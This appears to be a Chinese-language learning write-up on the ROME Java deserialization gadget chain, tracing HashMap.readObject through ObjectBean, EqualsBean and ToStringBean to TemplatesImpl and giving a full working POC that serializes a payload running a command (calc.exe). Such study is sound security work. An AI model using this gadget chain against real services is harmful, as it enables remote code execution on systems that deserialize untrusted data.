Java反序列化-Rome链

790f20f25ec511393dbedb73cc41f36d433359413

前言

ROME是一个用于RSS和Atom提要的Java框架。它是开源的,并遵循Apache 2.0许可证。

ROME包含一组用于各种类型的联合提要的解析器和生成器,以及将一种格式转换为另一种格式的转换器。解析器可以返回特定于要处理的格式的Java对象,也可以返回一个通用的规范化SyndFeed类,让您在处理数据时不必担心传入或传出提要类型。

经常用来XML与Java互转。

依赖

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>

ToStringBean

提供深入的toString方法对Java Bean进行操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);

try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception var8) {
sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
}

return sb.toString();
}

BeanIntrospector.getPropertyDescriptors(_beanClass) 获取到 _beanClass 中的任意 getter 方法,在获取完任意 getter 方法后,做了一系列基本的判断 —— 确保 getter 方法不为空,确保能够调用类的 getter 方法,确保 getter 方法含参数。满足所有判断后执行Object value = pReadMethod.invoke(this._obj, NO_PARAMS);也就实现了调用任意对象getter方法的能力。

因此如果有对象在反序列化过程中会调用任意对象的 toString 方法就可以调用其他任意对象的 getter 方法。通过getter可以调用TemplatesImpl#getOutputProperties()接着加载恶意类。

ObjectBean

image-20240408180447194

com.sun.syndication.feed.impl.ObjectBean#hashCode方法调用了com.sun.syndication.feed.impl.EqualsBean#beanHashCode方法

image-20240408180626266

就可以触发ToStringBean类的ToStringBean方法。

调用链

1
2
3
4
5
6
7
TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Rome {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap hashMap = new HashMap<>();
hashMap.put(equalsBean,"aaa");
setFieldValue(toStringBean,"_obj",templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
System.out.println(Base64.encode(barr.toByteArray()));
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}


public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc.exe\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

image-20240408190044494

后记

学过CB链再看这个链子感觉不是特别难理解,不过明白调用链后,还是没有自己独立写出POC,反思一下:

  1. com.sun.syndication.feed.impl.ObjectBean不需要将_equalsBean值设置为EqualsBean因为在ObjectBean类内部已经有方法设置为传入的参数的方法了,就会自动调用hashCode方法。
  2. 创建一个toStringBean对象,传对象新建一个人畜无害的ConstantTransformer对象,如果是其他对象也可以。
  3. beanclass一定为类名的小写